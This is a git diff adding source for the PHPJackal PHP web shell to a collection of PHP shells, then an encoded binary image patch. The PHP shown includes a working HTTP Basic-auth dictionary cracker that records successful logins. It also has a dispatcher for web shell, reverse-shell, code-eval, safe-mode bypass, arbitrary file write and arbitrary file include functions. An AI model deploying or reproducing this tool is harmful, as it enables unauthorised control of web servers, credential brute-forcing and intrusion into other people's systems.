+if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if($method=='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo '<font color=blue>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");} +} +} +echo 'Done!</font>'; +}else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>'; +} +function opensesS($name){ +$sess=file_get_contents($name); +$var=explode(';',$sess); +echo "<pre>Name\tType\tValue\r\n"; +foreach($var as $v){ +$t=explode('|',$v); +$c=explode(':',$t[1]); +$y=''; +if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null'; +echo $t[0]."\t$y\t".$c[1]."\r\n"; +} +echo '</pre>'; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> +<html> +<head> +<style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style> +<meta http-equiv="Content-Language" content="en-us"> +<script language="JavaScript" type="text/JavaScript"> +function HS(box){ +if(document.getElementById(box).style.display!="none"){ +document.getElementById(box).style.display="none"; +document.getElementById('lk').innerHTML="+"; +} +else{ +document.getElementById(box).style.display=""; +document.getElementById('lk').innerHTML="-"; +} +} +function chmoD($file){ +$ch=prompt("Changing file mode["+$file+"]: ex. 777",""); +if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch; +} +</script> +<title>PHPJackal [<?php echo $cwd; ?>]</title> +</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC"> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%"> +<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table> +<hr size=1 noshade> +<?php +if(!empty($_REQUEST['seC'])){ +switch($_REQUEST['seC']){ +case 'fm':filemanageR();break; +case 'sc':scanneR();break; +case 'phpinfo':phpinfo();break; +case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']); +if(!empty($_REQUEST['Save'])){ +$filehandle=fopen($_REQUEST['file'],'w'); +fwrite($filehandle,$_REQUEST['edited']); +fclose($filehandle);} +if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR(''); +break; +case 'openit':openiT($_REQUEST['namE']);break; +case 'cr':crackeR();break; +case 'dic':dicmakeR();break; +case 'tools':toolS();break; +case 'hex':hexvieW();break; +case 'img':showimagE($_REQUEST['filE']);break; +case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break; +case 'hc':hashcrackeR();break; +case 'fcr':formcrackeR();break; +case 'auth':authcrackeR();break; +case 'ftpc':ftpclienT();break; +case 'eval':phpevaL();break; +case 'snmp':snmpcrackeR();break; +case 'px':pr0xy();break; +case 'webshell':webshelL();break; +case 'mailer':maileR();break; +case 'br':brshelL();break; +case 'asm':safemodE();break; +case 'sqlcl':sqlclienT();break; +case 'calc':calC();break; +case 'sysinfo':sysinfO();break; +case 'checksum':checksuM($_REQUEST['filE']);break; +case 'logout':logouT();break; +default: echo $intro;}}else echo $intro; +echo $footer;?></body></html> \ No newline at end of file diff --git a/php/PHPshell/【PHPJackal】/PHPJackal2.jpg b/php/PHPshell/【PHPJackal】/PHPJackal2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d2ace7a38792288dc0d14e83d4a557a8949b3c6e GIT binary patch literal 83665 zcmeFZWl$XGnkd`^_W;2)c(CB^1Pd123GUFidywE3Ab5hiL*wr5*0=@_9{lT>vomKh zGxgQ(*4|rNw+5>Jz$=gY+fVaPYk=o(C8Q+)P*6|+eaJ812@DVeAi%-F!@(lJ!^0yY zA|Ro>Kt(}DM#0C#LVrO_KuSVPKtx1F$wWg&&Okv#M9cMxftiJ!ot>11M}V7^pNWl~ z^_N4S5D^hkkWuhZQSn$`61`;oFaJEX127PtK|$X`Ly-fXVL(A+Ks|K>NC5ySSO~Pg z0Q?_6P|u)YVBz2q5Rs4}3u>POAe*3{!9c^p!oWaQdqe&YfWd&pe90mLhoxu$Pj3H$ z)j#$t0)=R02e#70cS<%xhX6z*99%qn0xD`6+E;Y!9GqO-JiKCW#3dx9q~9v5sH&-J zXlfZ5o0yuJTUa_eIlH*JxqEyF3<?hU7#bEA|0y9c>2q>QR(4KqUVcGgQB`$KZ5^n- zp|P{8yQjCWe_(KOYI<gNZhm2LePeTLduR9C-u~&?`Niec^^cp|U+{tgK>rJ^-!c0W zUKkL(p25IC!@&Q77t}LX$Ojq&2KFTj9HxjOyn#IyIjcXy3(?rGl^uu_Y)ap;4IL(s za46Z=sZM`E?N`kHbBG1}w=nx1v47*W2ta{`f-nyn10V!g{!VirIxBP{^90D&YvkSK zM|=X1J4fG5J^{YXm8mPvdf9S>_m>#8cpC5*!zURMy-=t4P_cyuXZ5y?s6{HIGg>aI z*><;AkFhHKOJh?aViI9?;tY1MJ3g%AyC*=W`^NiQMBgohC%})C;p)YLay&t<Q>E^z z)Lo1Qx-y&W4hnq0(NXNp)UlV*#=)!R)Z#+@B*0<f%!{=PZhB#o0dcqG@(3?oZ|;D} zeeKYXl#<v*d_>M`jGRD%A7u-j3Z9hmD$MG2k@DzdXDz4zPY&!&i%n8oX)CHp-M6!+ zG3B(iqG1Zc@=HkMr_tg0!4_W|6Q#Za2KOw3jNrc-;zsxS3B-k+zW<@X521m`>wACF zCjgfE+9`U}aU2&&dqGK+kx){<ga|r70xO1<7JBwuIa$N0WMs*5+}`mQX9bo-Z7L;P z?j?tGwq9?`=2os#S<Ggo)f$JFbp2PS0XfbvHXD8d8GpG#@}4Gx>Iv{A=}|cP2@v`P z-7>3L{Sj*n^9e8xfrL!*3D7<91VG#k_5B7}7eny`*f58NP!RhG5P06*b^%$~kMRUJ zW%vDw%7CjP`rguevyGvKS!AmL>g2~m`^9WFZ-CCU&1N}PHnz>1;#VDTE6gHKfL6$X z=H;Zdr|OZfV>2eTQv*e@Q|Q_4axUNzr>8+a<fqGlB+hFspm6SU>IxN|TjN}S$1?V& z{g1w$$zIB+eRWX{IBgZOBf`}5mJph872sy(3khLwkxwyraG(fdj2NGjT!5!I_NLk+ z+o{RY0c`D7yzCReh5JY`xz&%!lJj&fbRw)SOZC&*2Ou8V6JV7c>WE!E8thiyn^Y;y zSOQ|}!@cbb8^NQQ4&2CwU_R8-DyneR;FV02C4Hr`IPwi`ML~cTdV#haH@;7hHcTQ) z=1NjjHKBA924fndF7Z8~TM;}W$9Zp$n2o1-M+ZK9!Z#7Pzhj6(Qtt|#f2W++Y2`bx z-XgP|gvhqXbCECTW?9XKuZi69ER<-=7o~}URJ7d&3_SpxXO<?XW)UmPWjI#BLAah$ z4C6&*QUiP}5dm!b5J^PE-e~)t;g<9m@c!nR&?9wu#|Aoyt|U?7fhVgJG6h7Y@X!!p zXvqBpY{O3XytFrIZBu47cca!{REu7HBm!_@N(^rjJ<xUEUPqVOEP8%CSr3BKl4k#2 z1mEx~3~-r3-{ZT^fBO0XrtJ*I_g+rm-e#j9ku&aQ!dSOoYmphxI3hYJHb!z?m}E@c zt^8+kD-PZ8C6pR1xR#wrM8g@7R;pjljE^ujn}UGj@fTTDGlC$x4U+k|Q}3oHg4thZ zu9|l7&c#S@8tRZ;J!-`b)XVFYMZd6H7n@`!U5bH7QcpjbY6H<jy`gQbWf}g@j8*h1 zM*h=li~vunKhY)nXVnuXnfVK}*?-cDarjzAJ+{}8&8pCJLtdwe@74rrjOZjp?phG? zg&@{~xWrY#nGW196{S`y93}Y<ZHWMI^_IRTsn3Vn6sa+kG7Z4Ex%&hlF5WBuaU~PV zIPp5g&5u=r;YAhn6osjTIrMBnIdRRYYXoqYd0|Pxo)-TVY8D^VfnUuO1Sy92-Z`ZZ zKP=W%m0>q-zTg!eGRI#{)jY(+q)e2}?kiiDR_5UpR&af_sUNEq`#UwJiPky2pFi7Z z^D3|hDZtZtkT#63oy*Dj_Ejy(014jnk8ch~TED0=i;b<OV23(TQIC590DoL86Y3_d znj`MuwYE21?Gjd2bB}o#w^E*V!x^wNMRb1MUNy`fQXa2U_VbnlcpUwS*k!Lno9(U+ z>>^#pS=j?bjC0?XuUH@U!aFYh%J+h1vyFwUM2)iTIBsFq#>KA)=zw@obZ;td6u&Zi z;S2R6$|%ty#%AM60RW*pJJjKYdi3jXe$%TXyJ{VF+NMPj(;!s`3F!rh?q|NU1pO>@ zzuLGs^yhA8``lX)(;6qNNx%oI-)<-Mk_Q`gH|*XlpEvhn4yUAxu6iL0Q$Rw=Paya& z!l)46`}is-V92Y#M+`7K5g>vOe|$mq;a4f2X^Xhmbmi@^ai^RTT8`pVF$I1>PKj)G z-f%K3El4ooCIj~(2wjf=Jms)AW8K<%vA{Bp*u#?|X#5LG6G(X;#z*b<7S|cCPRlYX zYY&q+J7o{qG_!2`@{}{O`~(920?hxI73X07d)fJ`zLfcP%5D1Ahyfc<M$=t;NavHB z!sqBXjic>_Nm|6+X8I!eH7)o$9Nj6|Xi$j~D~n%GWA_)d{n1naJXNtbG2B*r*aj=b zeI})LkwSs^4Bh}R#5VuzTcD0q)WiPd$5X()f=taWGTMb^#!82kTG`LD3%T_&E}#xS z{bg;F&Bl8oz3!^T)P_w{+H&l$3I;ek1o`?SVUi|sw})SO&dPWJ!YSFLqp5zwAW)Sy zrQFlX5;rI_znfla#HZ(6BO2zmR=0$fef|aA@UK2{x(fo0l|++vp<Gp6?`N&N_LZQz z&0j3jU!j@&Tb&aosT6lRS`BYD${!?esn1vx<$_6>cpiHYQ2YMx3=gvxa3dCJ82I_k zu<HB6iM7}WKbK2<($D$Pct09S365-YIS0W629~MN9ys8LyLa$aihA^aG69ym_mnGK zcW*fF%I^2(yc8coU8PzavQ4F~UqBs9t4Hd%P4y(kH{)`}iLu&E3|J9VJ&5Rph5sEm ze?Hp$?|2vm{?XLSrJriC`xzk3vPhwiV*I_OitQ5nZ!zS7K<gVJ*mpHnGjgR1=6?cI zQID*o{z6u+2!6e2)|TPHag;&SB51sRQm&ysO6SWj=th6#&ELi^#L+z~EQ!m<6dA4% zui0PsQB|GNIK3X4EV{G!Pm=aaEc3IIBmJXC^%E%ipHj%8;08#{g(~ydVgiZ3Q0+5d zPC3g<4&t@<aebU*tVeN&#Jk`WGXRHjE?VCi*Oz7C=;U&;DGF}TO9A#;HoHMiPk`rE zSU<u>udXEOQ@Fo|;tsu&h7DyxJC+yVz3g34yVpeCYpc#!FS+*lwnVGR@~uM}pO}^R zvVBkdIMM|5p<DUjwmY7(q)KRElkYPo;(&FAW!sfrDkLZ!F?s?(WkKS<Z_qP81?VNH z_BM-~s<=u+FK85O#$FiA`{reYX^PzU0DoXTzBwSh&V2$*l&d()5j=WJNSCUeaj-Nq z5sc0{CCHZ2NK@~{@%p(PP1Y2j4$a;7=U4f>FXC~n3D{;}LK3mh1MhWHUYDKvhe{2H zlW3oCJ}VT6@(8mn%-!SFZNB}arnr<%RS^bnfkVYg!N$o2>>FxlT+Mt7hRC0%=J{}| z_ujB5DeYdJk6ODc?AiUp=P?1^b9ozh9nVmjxC6z6oJb?*B!wC$6Xk@#nr(SLB4ah+ z`-AD)2Ol`8sUzy|&7eqq<-;-lN{h)sa78Ckog0-3@k)+S{6LAW3w%TC<a$Ie{>7ag zN*sgLHDC2}_zkNP$lXA#JJC@fhuSCp=!TLbd09XBQCl7u0JB@kh-W9k$mK|3)zq%} z*V?FOrf%=zvhmwv>%V!7UxJ3t^xMYHB{)CWUNz?4v$9(s7&yki2q%966bax<!++-h zdE+GGWIlZLHMkm}09Axhu~yM8Bhv6m(H!4K*@M}ap&`ddZg;KhotG$S4IwZ$Gl@8Z z)9`Wq<2<hJEiWE1XP9hS$2fZPCVWn|?}!VY0BX6)xqbRl*C+CKUTvJn<zp95fR{qm zPM4F%hZ!T3ps5p}v0_VCKgAm|tR|u@X#WYfj)9UPPb<aTrG1>bjd|TYWuU)ivTB^F zPNAVZdISG%$^r@DY~Y50YvE0RYyH@Ksk<wHh2n@P01jdANZuE1Ka%*MKj|8C$auCQ zf1&hi6ibXSlxaIYafpMZ*2Jw(B7vvJBZ&Xx5X<|+QR>ls$tG~o=$v=+LGNfa*9GSQ z+9Hg}IF4K1|D4}G#NaW09+T}RYyd)cbVyEu3du=MAvuZalu*zmzBQx4LV<SUe7N)s z87PK(MQ1I!qt||(MBr5J2zX#h)$#-=o#@ln+&jxF80VkL!6~LxVE0jmJ2z533pSYe zc(Bsw`5+`7{;siUMsFIq^zAxvo<$cqJ;1AyAhu~|Y^+b7cT#Lkd&nuBJYHEfoxcHo zfiY@(iIDX4bU*v76rowDw2N|*arTRzX2juG{vziBy1LG&3s>Xjmx~v-zIq~4w~*vW zpe_@nnXv)e5;eK%1(h7ba*i#+O|}W2f5wsTnZM`2IE}Mt*hO>Y#Z}ojd^mWry$vVN zdEZw+vr<F;UHpP&sgJ1fvv$G)r;Sb2dOer2{XSG-bYQLM;m)SY(l}!S`RKgQk$sJC zU!P5OMzhl1gL}yPgP})6)V7cd&s2XPRcVzB>}4}%pAEyXu%Q@3RQD@eAwQ@-y_u90 zpX368gprKTv7*%VQ5xIzcDWSd`o~L|8<auN-0jaAm9u~N)t%JtBYDkyKAb9<a|&}H zt`uTCb{E)BFAuzwd5IUWsiYd2-kD0T2Gbbi^}#*>0ieJ2?!)c<6JQO0&O<F4m=kG9 zufg;}`@@#R6a(6hQflzdIWyoApL=gIohd#`J3RF&U=|O3A(8tvWm*yNqtsG2GS*%i zTI)<5yMU%Yn_M9ugPw{MgLUBBoB-8qHf)nk|6X+Rbk{7)_<dL0m~;^wr%1h5B{tM* z^Ix8c$$|K>(ol@Y+sd0!2xYvHMo$#t2H_hmE|rN}24X)^T292C#jyGq@<6xM@idfB zx6S~&6>OWR9J~%bZ;TCl01Yxbn?5$bE_i62-QU+$TN81<DlN6KM&_Z@&a5#@&)(B{ zxDMbK6L=V|v=}yY*NkbNfDVwxCmcoJuyDC~{BZK%O7q?K-c!qW-f|9NUOh&trr13n z9403T!3$nszbb~h;^*K2ZUYL(dHa<{Il?Z2p2SZEi7RJ|M?lP-S1+ZgRp)ciTj<Uc z1)5yPu!hzn<#qEP$Z6Ekszh?;yZ76-o)0inWO|f=9_!we2d~ba+z%Hdb}5fDitY{B zAf(*f=fn;kYugQq7%G^IarfWT**LTRSbv<&lnHi0wy>^nkD~+VqiL*Hrx{3cZ^kHa z<O=$iF2QIr0Xy@PYmKH##?e_^+K{=40(>*I$j3SAHQz41Cz6O=zW{T=&@55nk4hc( z#U98!0w7F&G_~AIkq<A_=&p;CbEGcb?%|V_O!VvSBD2%p>9c*D-_EN@xl?V!5NJG1 z7&tF83KwG8YYFy6I$HZ)_XRWy;$pP~JzF_A($-p>$8iv`1}(CUPH5n+Ae^FHU$ge) zvxIJ&ik`ngL!>kYatnp#+<HNXdi~fG`%PVRNEDYrzW-9&;m2_kDaF|cP~3vJrO|wH zt?twKs+53m?DZ31vn(^FfPtU5kQ99^e`Qfmj3G&e+58PA3SI1q$=0z@QX3Aq^R{bw zX_;fC$gCl-gDq7Cn2rDq(eiKb0+y+B3J2o1afvBU0Ijz1UL0OZ51Z<J<;9%qx-q*c zmbBqA8Jk6HSx<*AMCSv0Ju)TQ3-1NG;f5vcfjJ!xOrScAkDHKGcsYm2Y1H$oREnRa z7_9LSMIZU*4R(TbWero<svCXsH7)<vGu})s@39b$)Fz>-F~@=$ZA^-AWO2jr$RZ7e zxNN{C_n3f%VBI5#VCCd?e#eQAk^bG3&uFFgNFgXqi)TBLi;P-%&}7i;L(FEHT1K%= z{yx)H=hRSBh(b-wa!q7fERvC}%hBRv@|Z`P&AN@+=-6R}LIHy>=cF|we!N|mjS-JY z{{?w6O&|x4mZ|$Ct7#CK;}xH+qRSD47GT5kxiAkM+{^2%#szb=jF&Z_+QgaHjJ4cG zkuTY*`@eo)F}*}?A|p+LF6et(jD8=W@ZeAL1enY#ZD2=rPzy~tP+TP{WHza&QFDFY zIQr(sL1=MA95?6^*^|DY&Jq`8R>A67GtOzy(%lWYgME`g^m}V1Uu3<ugy77*n+)G8 z#MX|hk*h~Fd(aWfO}hPKxy#996T<9r4TG)>!@G1;E`CLb$4FR^p%waElKDgU9#ZEL zUcHZoRNSz2b@WJQFlR@M!p`t1s<ka9N{(zX9vvP?tc@sLjxsI1h02CyJf8sC*=XPB zEMoOKM;LRoG(n(*-Z@i?u)6K7R~=pe1%Tr;GFK&7+wzfWn!%QdiD~0J&Pv^nJkUWk z^JUbfk|Z9nNHHkm#mwu?v)$BpEcf-142&4+wub;5JHQP%zm$WYsz|a>u7I&O|0)@D zQ(}E2<$be+^pFihl))0F@V@U9Hn&xhYdzJQ`Wqh8?81q0274&eii(6-jA)Io^Ldm8 zhSs&(EV@D79*7fWIZ|*taD-)8P+PVgz>GMU7KcvEqF(a^K(b6RWYrq-c~Kvasi7r> z-6x?tm0mig_(A#!fRI?AN5jSY)%>g5^Hdo_QNg3GM?s#^tF7}9bXDMiz7`v)(v%ZD zG7lq(r)qQ5A`gW#Tg~KK(MlAg8&4@3ye)kP_tFoLIAZe&U?2b?@tabqN4%M>iaSCb zOF^{`eDdCL9$|+UZJG52n*sLi7llXs0tGz<$i<1%$MDJQxq?I1$?nQloNt~0^1Swo zA*GK-QHhU@BtY1}Ih?8`3UFZf2_ln`q`(g~{gEHgx`MF`v$uNT_OO-pEHWNP1oaXN z+j$!~7i5r>RHbbl8d9Qy_C4eGy;pT|(ZiiFoUEB2_6W*7N}C)cfe8>v1p6T-d%os( zrPv=}BcCccDJ`X(I;L)%G^|hMZ1lsxv&S<W-iuR*res1VLP?tqs?A8n{xoJ`W8Qfu zr+*l1@SJ>InZ5;N6ytuJ{iUBXI>b3s5MRyn+kMPBMYLSC)b}pbPgp@bL_{A_WTMdy z)D=H(H%xm~V|*~2*P_KpM6H41ZXb+Ff93n$?+H-e-9B5>f-Tn*`Ds>hRm6V#O)<lu zu7sF-DJ@3u8c`v1!ETsOQtn<wM{b9=0qRW8PS$MI+a#(4WsI{t&PA!!x!5_1DbwpN zg4VCVEuAGxhM*6EV8S;Rcqq>fs{?kILk|>1)*jw2+o-*|<iLr?Uw;CK)$!>Z?LwG* zSKP4~Mv=F6-&Q(&AV)9VT5B~{;Vxr3$G0x6b8~=6&$J;;7UvF*;)PN~<&%Bv=e@r2 zu(^8$tVn)8bk09Pa(KK7g6CeIYvnEt_eI>VE5#4qRTd*EWqksC1(PNR6AJD95(x5p zs`PcG3^d_VZ#)6)!uuB<GA*{<eV2a?(z*NeJSIsme<W}aGBS2dmu1&Vb>rCepl*&; zLWS5r0aTE&{QWa{FH7X~__&)n2l9tas|j*4WMV|<x663_yc?1B<v)~h41+LrRtL|D z=tG?jxFis-ebmy*B#k0w7}Yx$TSg<V%=KFv8?Aa9;<Wu?^pD@6OQ)v!-`puO0w0`3 zb%n|zHpK&H)$2^vK|q%2XzCpv`~HK<C?O(s#ljIQqLfd(DS92Yi>2Llpu`}JP!T|g zsDv;cMT|Rl5l#l&DT-?hf1@KpqBxV1MkqA@8W3OTV_B90`o7`g)yC3lj=DPBS_emD z&R~f&ncsPAY??8^vK;hl^zC}%lP|PEXw_uHY31~JS;oGIyCISGDmkj#{46`ql?8l| zl9to<J(?dR60~W7Ntyb1D&8P2yPMJN{lY^nkOX_iX16}Umg5z{)^VDGi4|SHV_H>9 z2h1-2CIxlbk_GSfOnXC$OnyD{XUf=`A<lD(B|Q39X@wooL@F1c%i6Gm2iJzqy(hrg ztAqEKv*4Q+(-8x9oLHSE@aOHjuS`a+q$((yzR&4fo4@zw+=}00Xz55hIvCQ2YipbL zc6xl=rpP9-2cPXc0sg3Zf?1r-lr^4=`g(HgEJpG-UjwBU&a^8{9-YVBtVLVdreK?z zW0C8xYCd9oT;lbU7h=<m%3ZetUnRe@v=?FRq>MhC9f>Efffq6#E4=rdAyjy_qOsiL z45ZGB7hRud9k8~O6#HNw=4-iOd0H9rrL;-wU}Im?FmN&Qm%P;HR`A!nRIhfLv5Xzu zL@$vcWqncjNrpGbl##CTMuZFs9KTZDv*tNZQ6I(Q%pvn>f%cB7a)}GB@7~M4pO{WY z0Z!NAYSAx@Sk%JSMhgZVwGki<gXwkNHx!k=Cs4Ze1fW*EY)gLvyguW8Um<seUIzr7 zRY$g2L=PWCUwVRk5|+(D(#DK5G0>Rb{G`yGxHJrIuymdP_hdf5G-7~{l8{DBSXuJ@ z>w+NzE3^^O<=Jj6`9j!c|K77*m{BygsP@y7uwNWeM%$c|N<ha25bc0KnaS4HFist> zgEpSh{?Tk$=wpr?yi|%Jv=*3h_WEjEhPb(!2kB5XQPS`Q2>uhmey&zGwTpM8ds2>Z zr)W~<8MvBI#`^Pg06YZG!6=WJkcrxB9xe~Rhy76(i&?8iaUQh!%)~LrffJeA$5yd# z`oe&T@4Tp(zy~_ZZJ!RVdBKI&)xlBDhdd#+GNGB{<y-YH;_Kd`D}(!tDM4Kv@r&){ zu+0Xpf{#*ZX|`iVb71UYNSy^9(wT#M0&KZKT60At*N-408y}%8j%;n0@k(cgN>L~F zrBeywkXv;VhA)qXRqUnoa?{6V)isG0X(hIC3V0vOPq1}h)%7K2N4<+n!n<y>v=&P2 z^~5M$tZaBW(n~vqM&D<TL>NacS05=t?qew`oz&^Rj*<P?Pp~Rm6&{SogUk&dwVQ8g zbKv`aB(9av!$)eUV$vz~OXZM-&GV+H4Q=0*;qwH-K~_Iey2!Sk`ZQ9-5NV@)JZ;4` z&d54KS`6Do{STb`-H+dJ#_;gl4`ypiy@W~^z<n^dS^*{IMiRW<+1#Si^z~y+K$?h+ z?2s<rX0*fV)w+u)PHCq*>F0p}n!%~q7<hR6gMEva$%%=#*y$^oRG-kDruOsrJmV>7 zrDn1zw#kg|yB*+ttsNaT<h+YkKV~euyxqE)W9iBKe6i9c6y%EG_FnPMyL4u{v9vwl zw?J711W^?}$;pPh6BxH(&%0#9sn6YK)i2$%;9=rexzb3xCy&k_;8$;t*@VxZ0Fb7W zaP??oOSL4{bLa|nGUMCXpq8Mh*2z92Z*LULmG-&1B>Q4!R|aIt4}~zX{rF=%g%_&` z`?24Y7Id}sz@xU4>y)79{kWDfJZ!H<wZHeZ;W9OIm8`&G>g>~pzF7$FoFtz_i|V0) zO)aOPi9b-ezH3uBqq2E$e*z>AFZ7rdt>njl5r<*!-;unN&0_S2#2&6hkqvxyQZP{C zk?NBdcqQ_Av-V4G7_@*)E7D5TG4jtbnv=kzXube?)eB<#U1^^wpORd#rNyjenT|m? zZ6=!3S|U9AP$rs{x*a=~&OS8-ZhWOR;|rK2Li1<#{t575V*7?eCRrMbE2~4fH=E91 zgR$6(Xi_m;;8Ek?Z5`Wp%gns7M5ZX?kH)ND#yz?@@{P4}$M~PQTS^=|o}W%d)j9wX zEM0MqfDE^(Z&viw4_&$*v<?+++z#_e9`=XzNN3mMEN~9qy=LfjF`GIfv<@jQGvgy% zwjcLE0{TMIa0DlbXCmvxQZ+xyO0W5^&Sb6{NE8@9vxlX|`sn9FbMN|}BurapS4}wE zqcBUp$Qo5Sqq3mT7xNm_fCHp`UkaNG?@TFS6Qf(Q6weC%s(YnYg2X~u3~eX&OyhEd z@jAFxvnE{>1NCTRW+24$hs|0f4u9kqhHj`2<7g|FuW#?#*QhH}kfq9WkA@u{#*<i@ zqKn`d+CE~>S=ky+IlFuaO}3^;2zgK26(<-Ju=~BF?N5QT@gq^2jogWiZ;iq0XTql~ zxg|yW1;yv|3IS+KYf(Z--UMhM9vcoEIYF5b+nI94qZ0pW1ug?JSzMTMJ_ij)Fn6C- zVb)&N-rRF(pbgNSI7Nq6+9b||vYZv`WBbbx09OCN7)QQPV69AI+K^z5*N<5mMH9>7 zN~xDB$Pu(KXmE60Zob-9l672KAxV^?_y|)+&{BT-a6lnPeW-}|sA=E#pMBrQMw(zp zkT6Hf*G|6mj=JUUSxXqw7o0SPrw<nNx3iy3s1aaV+}|CRQ3jfs5f$@K%55*RN5GwL zZwExgJoE3z7qBv^A$D%Avb|)SXq0Z&(1LRj31V9Dc~5#|n)RWJprx@hcFB^8JTgng zlTcDA!a?<eyco*)hcuE;PLEAcp^R<8`ZX=h8mL=(#u)jr3?D11vroXy&)Tv3`!5Fg zcOG&R(>VCFm+9!mEcJG%5?3@GB;$JCgwnjM993C6SF`1RRjdm<w{;e4nG~xVU9fxi zyvg2<(+?4Vg4Bc-S{VMVjHz{%wQnbriH}}NjP0vZpY<l=m~wm%O_6>ydqAgExTY<} zQK$HIU=mAq#yvf=={;0glQ2d)g*;|8gQ<XwBi%8XJAE9SghHJ-qzwJDiQZ$lXDO1* z(gd@s&(1L?chx9r59XRcNx|lkcJgkv)mdB^%-}T|FS37^%*AeQt`0xKjl)+FUBDos z3o`9n9+ke>jIyPy94h`+2^QO$AIg*U^6N=ZZJylBsPFR?*;4}lz&V?gaHE`_NG4$Q 